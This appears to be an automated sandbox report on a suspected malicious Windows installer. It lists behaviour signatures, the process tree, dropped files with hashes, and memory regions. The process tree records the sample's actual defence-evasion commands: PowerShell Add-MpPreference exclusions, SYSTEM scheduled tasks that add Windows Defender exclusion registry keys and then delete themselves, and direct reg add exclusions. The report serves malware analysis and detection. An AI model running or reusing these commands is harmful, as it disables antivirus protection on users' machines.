Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 14:53

General

  • Target
    inste_a3.1.3.14.exe
  • Size 37.7MB
  • Sample260820-r9cywszalg
  • SHA256 508da4eacd217712fd37a0d93c461c22ef66e5ff3d7ed628f84eb3ad5d41bff1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inste_a3.1.3.14.exe
    "C:\Users\Admin\AppData\Local\Temp\inste_a3.1.3.14.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5748
  • C:\Users\Public\uVT74u\NaF4LN.exe
    "C:\Users\Public\uVT74u\NaF4LN.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1344
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\uVT74u\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3768
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\uVT74u\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1672
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1856
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4600
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1756
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4368
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3260
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3876
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5772
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1992
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1240
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1288
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4444
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3400
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4176
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4500
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4252
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1008
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3064
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3580
                      • C:\Users\Public\uVT74u\NaF4LN.exe
                        "C:\Users\Public\uVT74u\NaF4LN.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:564
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\uVT74u" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2820
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\uVT74u" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:2568
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1908
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4944
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3432
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1844
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:568
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2548
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2964

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              NaF4LN.exe

                              • Path C:\Users\Public\uVT74u\NaF4LN.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\uVT74u\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 a77725ce68a68d1d4f71fd8170d718fb152349fd49858737aa3af671029f6c24
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\uVT74u\adoresd.dat
                              • Size 4.7MB
                              • SHA256 e4dc022d61651a12b1dd209e9ebc1143dcf47200868668eb6c9afa70214425bd
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\uVT74u\msadox.tb
                              • Size 8KB
                              • SHA256 8036d5b2af08e87e609f4283e151eab593ed021865246577c7b9d76c45989d92
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/564-587-0x0000021022100000-0x0000021022987000-memory.dmp

                              memory/564-591-0x00007FFE89DB0000-0x00007FFE89DB2000-memory.dmp

                              memory/564-575-0x00007FFE89DB0000-0x00007FFE89DB2000-memory.dmp

                              memory/564-580-0x0000021022100000-0x0000021022987000-memory.dmp

                              memory/564-582-0x00007FFE89DC0000-0x00007FFE89DC2000-memory.dmp

                              memory/564-583-0x0000021022100000-0x0000021022987000-memory.dmp

                              memory/564-588-0x0000021022100000-0x0000021022987000-memory.dmp

                              memory/564-589-0x0000021022100000-0x0000021022987000-memory.dmp

                              memory/564-592-0x000002101F750000-0x000002101FC6E000-memory.dmp

                              memory/564-590-0x0000021022100000-0x0000021022987000-memory.dmp

                              memory/564-576-0x000002101F750000-0x000002101FC6E000-memory.dmp

                              memory/1344-607-0x0000014A50F60000-0x0000014A50F82000-memory.dmp

                              memory/1344-611-0x0000014A50FC0000-0x0000014A50FDE000-memory.dmp

                              memory/1344-612-0x0000014A51150000-0x0000014A51202000-memory.dmp

                              memory/1344-613-0x0000014A51210000-0x0000014A5121A000-memory.dmp

                              memory/3124-544-0x0000022DF8C40000-0x0000022DF94C7000-memory.dmp

                              memory/3124-540-0x0000022DF8C40000-0x0000022DF94C7000-memory.dmp

                              memory/3124-559-0x0000022DF9560000-0x0000022DF95EA000-memory.dmp

                              memory/3124-615-0x0000022DF63C0000-0x0000022DF68DE000-memory.dmp

                              memory/3124-545-0x0000022DF8C40000-0x0000022DF94C7000-memory.dmp

                              memory/3124-550-0x0000022DF63C0000-0x0000022DF68DE000-memory.dmp

                              memory/3124-560-0x0000022DF9560000-0x0000022DF95EA000-memory.dmp

                              memory/3124-565-0x0000022DF8C40000-0x0000022DF94C7000-memory.dmp

                              memory/3124-567-0x0000022DF8C40000-0x0000022DF94C7000-memory.dmp

                              memory/3124-563-0x0000022DF9560000-0x0000022DF95EA000-memory.dmp

                              memory/3124-562-0x0000022DF9560000-0x0000022DF95EA000-memory.dmp

                              memory/3124-547-0x0000022DF8C40000-0x0000022DF94C7000-memory.dmp

                              memory/3124-546-0x0000022DF8C40000-0x0000022DF94C7000-memory.dmp

                              memory/3124-552-0x0000022DF8C40000-0x0000022DF94C7000-memory.dmp

                              memory/3124-531-0x00007FFE89DB0000-0x00007FFE89DB2000-memory.dmp

                              memory/3124-558-0x0000022DF81C0000-0x0000022DF820E000-memory.dmp

                              memory/3124-539-0x00007FFE89DC0000-0x00007FFE89DC2000-memory.dmp

                              memory/3124-537-0x0000022DF8C40000-0x0000022DF94C7000-memory.dmp

                              memory/3124-532-0x0000022DF63C0000-0x0000022DF68DE000-memory.dmp

                              memory/5748-2-0x0000000001F70000-0x0000000001F7C000-memory.dmp

                              memory/5748-1-0x0000000001F60000-0x0000000001F6E000-memory.dmp

                              memory/5748-0-0x0000000001F60000-0x0000000001F6E000-memory.dmp

                              memory/5748-504-0x00007FFE81620000-0x00007FFE81632000-memory.dmp

                              memory/5748-524-0x0000000001F60000-0x0000000001F6E000-memory.dmp

                              memory/5748-525-0x00007FFE81620000-0x00007FFE81632000-memory.dmp